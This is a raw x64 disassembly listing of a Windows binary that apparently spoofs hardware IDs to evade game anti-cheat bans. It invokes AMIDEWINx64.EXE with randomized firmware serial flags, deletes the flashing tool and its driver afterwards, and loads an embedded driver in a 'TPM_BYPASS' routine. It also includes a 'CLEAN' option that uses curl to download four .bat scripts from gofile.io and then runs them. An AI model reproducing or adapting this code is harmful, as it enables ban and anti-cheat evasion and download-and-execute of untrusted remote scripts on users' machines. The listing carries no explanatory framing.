call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.cmd__C_C:WindowsSystem32TasksAMIDEWINx64.EXE__SP__RANDOM__RANDOM__RANDOM_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.cmd__C_C:WindowsSystem32TasksAMIDEWINx64.EXE__SV__RANDOM__RANDOM__RANDOM_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.cmd__C_C:WindowsSystem32TasksAMIDEWINx64.EXE__SS__RANDOM__RANDOM__RANDOM_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.cmd__C_C:WindowsSystem32TasksAMIDEWINx64.EXE__SU_AUTO
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.cmd__C_C:WindowsSystem32TasksAMIDEWINx64.EXE__SK__RANDOM__RANDOM__RANDOM_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.cmd__C_C:WindowsSystem32TasksAMIDEWINx64.EXE__SF__RANDOM__RANDOM__RANDOM_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.cmd__C_C:WindowsSystem32TasksAMIDEWINx64.EXE__BM__RANDOM__RANDOM__RANDOM_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.cmd__C_C:WindowsSystem32TasksAMIDEWINx64.EXE__BP__RANDOM__RANDOM__RANDOM_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.cmd__C_C:WindowsSystem32TasksAMIDEWINx64.EXE__BV__RANDOM__RANDOM__RANDOM_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.cmd__C_C:WindowsSystem32TasksAMIDEWINx64.EXE__BS__RANDOM__RANDOM__RANDOM_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.cmd__C_C:WindowsSystem32TasksAMIDEWINx64.EXE__BT__RANDOM__RANDOM__RANDOM_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.cmd__C_C:WindowsSystem32TasksAMIDEWINx64.EXE__BLC__RANDOM__RANDOM__RANDOM_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.cmd__C_C:WindowsSystem32TasksAMIDEWINx64.EXE__CM__RANDOM__RANDOM__RANDOM_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.cmd__C_C:WindowsSystem32TasksAMIDEWINx64.EXE__CV__RANDOM__RANDOM__RANDOM_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.cmd__C_C:WindowsSystem32TasksAMIDEWINx64.EXE__CS__RANDOM__RANDOM__RANDOM_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.cmd__C_C:WindowsSystem32TasksAMIDEWINx64.EXE__CA__RANDOM__RANDOM__RANDOM_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.cmd__C_C:WindowsSystem32TasksAMIDEWINx64.EXE__CSK__RANDOM__RANDOM__RANDOM_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.cmd__C_C:WindowsSystem32TasksAMIDEWINx64.EXE__PSN__RANDOM__RANDOM__RANDOM_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.cmd__C_C:WindowsSystem32TasksAMIDEWINx64.EXE__PAT__RANDOM__RANDOM__RANDOM_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.cmd__C_C:WindowsSystem32TasksAMIDEWINx64.EXE__PPN__RANDOM__RANDOM__RANDOM_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:WindowsSystem32TasksAMIDEWINx64.EXE
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, str.C:WindowsSystem32Tasks_amifldrv64.sys
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
nop
mov rax, qword [rbp]
movsxd rcx, dword [rax + 4]
lea rbx, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx], rbx
mov rax, qword [rbp]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx - 4], edx
lea rcx, [rbp + 8]
call fcn.140044640
lea rcx, [rbp + 0x10]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0xa8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rcx, qword [rbp - 0x20]
test rcx, rcx
je 0x1400432f6
mov rdx, qword [rbp - 0x10]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400432e5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400432e5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d9724
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x20], xmm0
mov qword [rbp - 0x10], r14
mov rax, qword [rbp + 0x110]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x110], rbx
mov rax, qword [rbp + 0x110]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x10c], edx
lea rcx, [rbp + 0x118]
call fcn.140044640
lea rcx, [rbp + 0x120]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x1b8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rcx, qword [rbp - 0x40]
test rcx, rcx
je 0x140043385
mov rdx, qword [rbp - 0x30]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140043380
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140043380
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d9724
mov byte [0x140346fa9], 1
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], r14
mov qword [rbp - 0x68], r14
xor r8d, r8d
lea rdx, [0x140174076]
lea rcx, [rbp - 0x80]
call fcn.140038af0
movss xmm0, dword [rsi + 0x28]
movss xmm7, dword [0x1401862a8]
subss xmm0, xmm7
mulss xmm0, xmm11
movss xmm9, dword [0x14018621c]
subss xmm0, xmm9
movss xmm12, dword [0x140186270]
movss xmm15, dword [0x1401862e4]
lea r9, [rbp - 0x80]
unpcklps xmm0, xmm12
movq r8, xmm0
movaps xmm1, xmm6
unpcklps xmm1, xmm15
movq rdx, xmm1
lea rcx, str.TPM_BYPASS
call fcn.140036b60
test al, al
je 0x140043729
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x70], xmm1
mov r8d, reloc.WS2_32.dll_sendto
lea rdx, str.Launched_Tpm_Bypass_
lea rcx, [rbp - 0x80]
call fcn.140038af0
nop
movaps xmm0, xmm8
movss xmm1, dword [0x140186250]
unpcklps xmm0, xmm1
movq r8, xmm0
xor edx, edx
lea rcx, [rbp - 0x80]
call fcn.140038cd0
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x140043492
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004348d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140043722
call fcn.1400d9724
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x70], xmm1
mov r8d, reloc.WLDAP32.dll_Ordinal_26
lea rdx, str.Please_wait_for_2_minutes.
lea rcx, [rbp - 0x80]
call fcn.140038af0
nop
movaps xmm0, xmm8
unpcklps xmm0, xmm10
movq r8, xmm0
xor edx, edx
lea rcx, [rbp - 0x80]
call fcn.140038cd0
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x14004350c
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140043507
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140043722
call fcn.1400d9724
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x20], xmm1
mov qword [rbp - 0x10], r14
mov ecx, 0x1c27
call fcn.1400d93d0
test rax, rax
je 0x140043722
lea rcx, [rax + 0x27]
and rcx, 0xffffffffffffffe0
mov qword [rcx - 8], rax
mov qword [rbp - 0x20], rcx
lea rbx, [rcx + 0x1c00]
mov qword [rbp - 0x10], rbx
xor edx, edx
mov r8d, 0x1c00
call sub.VCRUNTIME140.dll_memset
mov qword [rbp - 0x18], rbx
mov r8d, 0x1c00
lea rdx, [0x140342fd0]
mov rcx, qword [rbp - 0x20]
call sub.VCRUNTIME140.dll_memcpy
call fcn.140045380
mov rbx, rax
lea rcx, [rax - 1]
cmp rcx, 0xfffffffffffffffd
ja 0x1400436c2
mov rdx, qword [rbp - 0x20]
mov rcx, rax
call fcn.14004a0b0
test rax, rax
jne 0x1400435fc
movaps xmm2, xmm10
movaps xmm1, xmm8
lea rcx, [rsp + 0x50]
call fcn.1400021a0
movss xmm6, dword [rax]
movss xmm7, dword [rax + 4]
lea rdx, str.Couldnt_load_driver__Contact_Support.
lea rcx, [rbp - 0x80]
call fcn.140038950
nop
unpcklps xmm6, xmm7
movq r8, xmm6
mov edx, 2
lea rcx, [rbp - 0x80]
call fcn.140038cd0
nop
lea rcx, [rbp - 0x80]
call fcn.140033440
mov rcx, rbx
call fcn.140045f80
mov ecx, 0xdac
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x70], xmm1
mov r8d, 8
lea rdx, str.Success.
lea rcx, [rbp - 0x80]
call fcn.140038af0
nop
movaps xmm0, xmm8
movss xmm10, dword [0x140186280]
unpcklps xmm0, xmm10
movq r8, xmm0
mov edx, 1
lea rcx, [rbp - 0x80]
call fcn.140038cd0
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x140043686
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140043680
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140043680
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d9724
nop
mov rcx, qword [rbp - 0x20]
test rcx, rcx
je 0x140043732
mov rdx, qword [rbp - 0x10]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400436bb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140043722
call fcn.1400d9724
jmp 0x140043732
movaps xmm2, xmm10
movaps xmm1, xmm8
lea rcx, [rsp + 0x50]
call fcn.1400021a0
movss xmm6, dword [rax]
movss xmm7, dword [rax + 4]
lea rdx, str.Driver_Already_Loaded__Restart_Pc.
lea rcx, [rbp - 0x80]
call fcn.140038950
nop
unpcklps xmm6, xmm7
movq r8, xmm6
mov edx, 2
lea rcx, [rbp - 0x80]
call fcn.140038cd0
nop
lea rcx, [rbp - 0x80]
call fcn.140033440
mov ecx, 0xdac
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
movss xmm10, dword [0x140186280]
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], r14
mov qword [rbp - 0x68], r14
xor r8d, r8d
lea rdx, [0x140174076]
lea rcx, [rbp - 0x80]
call fcn.140038af0
movss xmm0, dword [rsi + 0x28]
subss xmm0, xmm7
mulss xmm0, xmm11
subss xmm0, xmm9
lea r9, [rbp - 0x80]
unpcklps xmm0, xmm12
movq r8, xmm0
movss xmm1, dword [0x1401862e8]
unpcklps xmm1, xmm15
movq rdx, xmm1
lea rcx, str.CLEAN
call fcn.140036b60
test al, al
je 0x1400437fd
lea rcx, str.curl__o_C:_apexclean.bat_https:__store3.gofile.io_download_direct_b624b084_c21d_4a2b_8898_7646e113f3c3_apexclean.bat
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl__o_C:1.bat_https:__store3.gofile.io_download_direct_02fa88fa_d809_4885_bba9_68aa11fcb454_1.bat
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl__o_C:2.bat_https:__store3.gofile.io_download_direct_dc3b1da5_3f67_485d_8705_52ddfce87147_2.bat
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl__o_C:3.bat_https:__store3.gofile.io_download_direct_d99aac01_1eb4_4245_837d_6e7bef197635_3.bat
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.cd_C:__apexclean.bat
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.cd_C:__1.bat
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.cd_C:__2.bat
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.cd_C:__3.bat
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movss xmm1, dword [0x1403478e8]
jmp 0x140043810
movss xmm10, dword [0x140186280]
cmp dword [reloc.WS2_32.dll_ioctlsocket], 2
jne 0x1400438a2
mov rax, qword [0x140346fb0]
movss dword [rax + 0x37f0], xmm1
mov dword [rsp + 0x70], 0x3f800000
mov dword [rsp + 0x50], 0
movss xmm0, dword [rax + 0x18]
addss xmm0, xmm0
mulss xmm0, xmm14
addss xmm0, xmm1
movss dword [rsp + 0x74], xmm0
lea rcx, [rsp + 0x50]
lea rax, [rsp + 0x74]
comiss xmm8, xmm0
cmovbe rcx, rax
lea rax, [rsp + 0x70]
comiss xmm0, xmm13
cmovbe rax, rcx
movss xmm0, dword [rax]
movss dword [0x1403478e8], xmm0
movaps xmm0, xmm6
movss xmm1, dword [0x140186290]
unpcklps xmm0, xmm1
movq rdx, xmm0
call fcn.140037c50
jmp 0x1400438a2
movss xmm10, dword [0x140186280]
cmp byte [0x140346fa9], 0
je 0x140043975
cmp byte [0x140346faa], 0
jne 0x140043975
movss xmm0, dword [0x140347920]
cvtps2pd xmm0, xmm0
addsd xmm0, qword [0x1401861e0]
cvtpd2ps xmm1, xmm0
movss dword [0x140347920], xmm1
comiss xmm1, dword [0x140186238]
jbe 0x140043975
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x70], xmm1
mov r8d, Ordinal_32
lea rdx, str.Succesfully_Spoofed_Restart_Pc.
lea rcx, [rbp - 0x80]
call fcn.140038af0
nop
movaps xmm0, xmm8
unpcklps xmm0, xmm10
movq r8, xmm0
mov edx, 1
lea rcx, [rbp - 0x80]
call fcn.140038cd0
mov byte [0x140346faa], 1
mov byte [0x140346fa9], 0
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x140043975
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140043970
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140043970
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d9724
call fcn.1400100f0
mov rcx, qword [rbp + 0x220]
xor rcx, rsp
call fcn.1400d8ff0
lea r11, [rsp + 0x3d0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
movaps xmm13, xmmword [r11 - 0x80]
movaps xmm14, xmmword [r11 - 0x90]
movaps xmm15, xmmword [r11 - 0xa0]
mov rsp, r11
pop rbp
ret